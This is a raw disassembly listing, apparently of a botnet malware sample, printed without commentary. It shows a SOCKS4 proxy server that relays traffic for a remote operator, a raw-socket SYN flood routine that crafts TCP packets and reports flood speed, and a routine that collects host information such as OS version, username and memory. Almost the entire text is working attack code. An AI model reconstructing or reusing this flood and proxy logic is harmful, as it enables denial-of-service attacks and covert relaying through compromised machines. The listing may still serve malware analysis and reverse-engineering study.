Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call dword_42EBB4 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_42EC30 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43054C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_42EBE0 ; bind
test eax, eax
jnz loc_410597
push 0Ah
push edi
call dword_42EBDC ; listen
test eax, eax
jnz loc_410597
push [ebp+var_40]
push [ebp+var_D4]
call sub_408401
pop ecx
push eax
lea eax, [ebp+Source]
push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4104D0
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_405E64
add esp, 14h
loc_4104D0: ; CODE XREF: sub_4103F5+B9j
; sub_4103F5+172j ...
lea eax, [ebp+Source]
push eax
call sub_402D63
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_42EC44 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 11h ; int
push eax ; Source
call sub_411C3A
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_430544[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_4105FA
push esi
push esi
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_430554[ecx], eax
jz short loc_410577
loc_410564: ; CODE XREF: sub_4103F5+180j
cmp [ebp+var_28], esi
jnz loc_4104D0
push 5
call ds:dword_41B048 ; Sleep
jmp short loc_410564
; ---------------------------------------------------------------------------
loc_410577: ; CODE XREF: sub_4103F5+16Dj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4104D0
; ---------------------------------------------------------------------------
loc_410597: ; CODE XREF: sub_4103F5+7Bj
; sub_4103F5+8Cj
push edi
call dword_42EC48 ; closesocket
push [ebp+var_40]
lea eax, [ebp+Source]
push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4105DA
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_405E64
add esp, 14h
loc_4105DA: ; CODE XREF: sub_4103F5+1C3j
lea eax, [ebp+Source]
push eax
call sub_402D63
push [ebp+var_3C]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
pop ebx
sub_4103F5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105FA proc near ; DATA XREF: sub_4103F5+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43054C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_42EB9C ; select
test eax, eax
jnz short loc_41067B
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_41067B: ; CODE XREF: sub_4105FA+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_42EBCC ; recv
test eax, eax
jg short loc_4106AC
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4106AC: ; CODE XREF: sub_4105FA+98j
cmp [ebp+var_4D0], 4
jnz loc_4108A6
cmp [ebp+var_4CF], 1
jnz loc_4108A6
cmp [ebp+Str2], bl
jz short loc_410742
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Dst]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_410742
lea eax, [ebp+Str2]
push eax
lea eax, [ebp+Dst]
push eax ; Args
push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
call sub_402DD7
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call _memset
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_42EC00 ; send
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_410742: ; CODE XREF: sub_4105FA+CFj
; sub_4105FA+E5j
push 10h ; Size
lea eax, [ebp+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_42EC30 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4107DA
call dword_42EB50 ; WSAGetLastError
push eax ; Args
push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
call sub_402DD7
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_42EC00 ; send
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4107DA: ; CODE XREF: sub_4105FA+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_410849
call dword_42EB50 ; WSAGetLastError
push eax ; Args
push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"...
call sub_402DD7
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_42EC00 ; send
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_410849: ; CODE XREF: sub_4105FA+1F0j
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call _memset
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_42EC00 ; send
push dword ptr [esi]
push edi
call sub_4108BE
pop ecx
pop ecx
push edi
call dword_42EC48 ; closesocket
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4108A6: ; CODE XREF: sub_4105FA+B9j
; sub_4105FA+C6j
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
sub_4105FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4108BE proc near ; CODE XREF: sub_4105FA+286p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4108D4: ; CODE XREF: sub_4108BE+C5j
; sub_4108BE+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4108EC: ; CODE XREF: sub_4108BE+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4108FC
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4108EC
loc_4108FC: ; CODE XREF: sub_4108BE+33j
cmp ecx, 1
jnz short loc_410911
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_410911: ; CODE XREF: sub_4108BE+41j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_42EB9C ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_42EABC ; __WSAFDIsSet
test eax, eax
jz short loc_410971
push edi
lea eax, [ebp+Dst]
push esi
push eax
push ebx
call dword_42EBCC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4109B9
push edi
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4109B9
loc_410971: ; CODE XREF: sub_4108BE+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_42EABC ; __WSAFDIsSet
test eax, eax
jz loc_4108D4
push edi
lea eax, [ebp+Dst]
push esi
push eax
push [ebp+arg_0]
call dword_42EBCC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4109B9
push edi
push eax
lea eax, [ebp+Dst]
push eax
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4108D4
loc_4109B9: ; CODE XREF: sub_4108BE+9Aj
; sub_4108BE+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4108BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109BE proc near ; DATA XREF: sub_409557+315Do
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_410D0C
push eax
lea eax, [ebp+Dest]
push offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)."
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_410A3B
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_405E64
add esp, 14h
loc_410A3B: ; CODE XREF: sub_4109BE+5Bj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_10]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_4109BE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A5A proc near ; CODE XREF: sub_410D0C+3Cp
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
Dst = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_42EB38 ; WSAStartup
test eax, eax
jz short loc_410A9A
xor eax, eax
jmp loc_410D08
; ---------------------------------------------------------------------------
loc_410A9A: ; CODE XREF: sub_410A5A+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_42EC54 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_410D00
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_42EB94 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_410CF6
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_8]
call dword_42EBB4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_42EBB4 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_42EBB4 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_42EBB4 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_41B08C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_41B088 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call __allmul
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_410B85: ; CODE XREF: sub_410A5A+25Dj
; sub_410A5A+26Bj
mov [ebp+var_24], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_42EBB4 ; htons
mov [ebp+var_34], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_42EBB4 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_42EBB0 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_42EBB4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40845A
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40845A
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_42EC14 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_410CCA
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_41B088 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_410CF3
jl loc_410B85
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_410CF3
jmp loc_410B85
; ---------------------------------------------------------------------------
loc_410CCA: ; CODE XREF: sub_410A5A+247j
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>."
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 10h
jmp short loc_410CF6
; ---------------------------------------------------------------------------
loc_410CF3: ; CODE XREF: sub_410A5A+25Bj
; sub_410A5A+269j
mov ebx, [ebp+arg_8]
loc_410CF6: ; CODE XREF: sub_410A5A+78j
; sub_410A5A+297j
push [ebp+var_C]
call dword_42EC48 ; closesocket
pop esi
loc_410D00: ; CODE XREF: sub_410A5A+5Bj
call dword_42EB20 ; WSACleanup
mov eax, ebx
loc_410D08: ; CODE XREF: sub_410A5A+3Bj
pop edi
pop ebx
leave
retn
sub_410A5A endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_410D0C(int,char *Str,int)
sub_410D0C proc near ; CODE XREF: sub_4109BE+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4082EB
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_410A5A
add esp, 1Ch
test eax, eax
jnz short loc_410D57
push 1
pop eax
loc_410D57: ; CODE XREF: sub_410D0C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_410D0C endp
; =============== S U B R O U T I N E =======================================
sub_410D66 proc near ; CODE XREF: sub_4021A2+74p
; sub_409557+4AD5p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_41B078 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset byte_4754C4
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_410D66 endp
; =============== S U B R O U T I N E =======================================
sub_410DCF proc near ; CODE XREF: sub_410E85+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_410DD7: ; CODE XREF: sub_410DCF+2Fj
; sub_410DCF+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_41B048 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call __aulldiv
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_410DD7
jb short loc_410E06
cmp ebx, esi
ja short loc_410DD7
loc_410E06: ; CODE XREF: sub_410DCF+31j
push 0
push 64h
push edi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_410E79
jb short loc_410E25
cmp esi, 50h
jnb short loc_410E2A
loc_410E25: ; CODE XREF: sub_410DCF+4Fj
push 4Bh
xor edx, edx
pop eax
loc_410E2A: ; CODE XREF: sub_410DCF+54j
test ecx, ecx
ja short loc_410E79
jb short loc_410E35
cmp esi, 47h
jnb short loc_410E3A
loc_410E35: ; CODE XREF: sub_410DCF+5Fj
push 42h
xor edx, edx
pop eax
loc_410E3A: ; CODE XREF: sub_410DCF+64j
test ecx, ecx
ja short loc_410E79
jb short loc_410E45
cmp esi, 37h
jnb short loc_410E4A
loc_410E45: ; CODE XREF: sub_410DCF+6Fj
push 32h
xor edx, edx
pop eax
loc_410E4A: ; CODE XREF: sub_410DCF+74j
test ecx, ecx
ja short loc_410E79
jb short loc_410E55
cmp esi, 26h
jnb short loc_410E5A
loc_410E55: ; CODE XREF: sub_410DCF+7Fj
push 21h
xor edx, edx
pop eax
loc_410E5A: ; CODE XREF: sub_410DCF+84j
test ecx, ecx
ja short loc_410E79
jb short loc_410E65
cmp esi, 1Eh
jnb short loc_410E6A
loc_410E65: ; CODE XREF: sub_410DCF+8Fj
push 19h
xor edx, edx
pop eax
loc_410E6A: ; CODE XREF: sub_410DCF+94j
test ecx, ecx
ja short loc_410E79
jb short loc_410E75
cmp esi, 0Ah
jnb short loc_410E79
loc_410E75: ; CODE XREF: sub_410DCF+9Fj
xor eax, eax
xor edx, edx
loc_410E79: ; CODE XREF: sub_410DCF+4Dj
; sub_410DCF+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_410DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E85 proc near ; CODE XREF: sub_409557+4C81p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_428D64
mov [ebp+var_CC], 94h
call ds:dword_41B144 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_410F0C
cmp [ebp+var_C4], ebx
jnz short loc_410EE8
cmp [ebp+var_BC], 1
jnz short loc_410ED2
mov [ebp+var_4], offset a95 ; "95"
loc_410ED2: ; CODE XREF: sub_410E85+44j
cmp [ebp+var_BC], 2
jnz loc_410F87
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_410F58
; ---------------------------------------------------------------------------
loc_410EE8: ; CODE XREF: sub_410E85+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_410EFA
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_410F4F
; ---------------------------------------------------------------------------
loc_410EFA: ; CODE XREF: sub_410E85+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_410F48
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_410F4F
; ---------------------------------------------------------------------------
loc_410F0C: ; CODE XREF: sub_410E85+33j
cmp [ebp+var_C8], 5
jnz short loc_410F48
cmp [ebp+var_C4], ebx
jnz short loc_410F26
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_410F4F
; ---------------------------------------------------------------------------
loc_410F26: ; CODE XREF: sub_410E85+96j
cmp [ebp+var_C4], 1
jnz short loc_410F38
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_410F4F
; ---------------------------------------------------------------------------
loc_410F38: ; CODE XREF: sub_410E85+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_410F4F
loc_410F48: ; CODE XREF: sub_410E85+7Cj
; sub_410E85+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_410F4F: ; CODE XREF: sub_410E85+73j
; sub_410E85+85j ...
cmp [ebp+var_BC], 2
jnz short loc_410F87
loc_410F58: ; CODE XREF: sub_410E85+61j
cmp [ebp+var_B8], bl
jz short loc_410F87
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+Dest]
push [ebp+var_4]
push offset aSS_5 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 10h
mov [ebp+var_4], eax
loc_410F87: ; CODE XREF: sub_410E85+54j
; sub_410E85+D1j ...
mov ax, word_41F9E4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_42EAB0
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_410FC0
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_410FC0: ; CODE XREF: sub_410E85+12Cj
push [ebp+arg_4]
call sub_408401
pop ecx
push eax
call dword_42EBF0 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_42EB70 ; gethostbyaddr
cmp eax, ebx
jz short loc_410FE9
push dword ptr [eax]
jmp short loc_410FEE
; ---------------------------------------------------------------------------
loc_410FE9: ; CODE XREF: sub_410E85+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_410FEE: ; CODE XREF: sub_410E85+162j
lea eax, [ebp+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+FullPath]
pop ecx
push 104h
push eax
call ds:dword_41B098 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_41B0A0 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_41B09C ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
call ds:dword_41B150 ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+Drive]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_403B59
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_410D66
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_408401
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
